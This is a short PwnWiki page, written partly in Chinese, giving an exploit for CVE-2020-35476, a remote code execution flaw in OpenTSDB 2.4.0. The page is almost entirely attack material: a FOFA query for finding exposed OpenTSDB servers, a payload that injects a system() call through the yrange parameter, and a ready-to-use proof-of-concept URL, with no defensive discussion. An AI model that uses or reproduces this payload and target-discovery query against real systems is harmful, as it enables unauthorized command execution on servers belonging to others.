CVE-2020-35476 OpenTSDB 2.4.0 遠程代碼執行漏洞

From PwnWiki
Revision as of 15:04, 27 April 2021 by Pwnwiki (talk | contribs) (Created page with "==FOFA== <pre> title="Opentsdb" ||body="opentsdb_header.jpg" </pre> ==Bypass Payload== <pre> [33:system('touch/tmp/poc.txt')] </pre> ==POC== <pre> http://opentsdbhost.local/...")
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)

FOFA

title="Opentsdb" ||body="opentsdb_header.jpg"

Bypass Payload

[33:system('touch/tmp/poc.txt')]

POC

http://opentsdbhost.local/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('touch/tmp/poc.txt')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
Retrieved from "https://pwnwiki.com/index.php?title=CVE-2020-35476_OpenTSDB_2.4.0_遠程代碼執行漏洞&oldid=1904"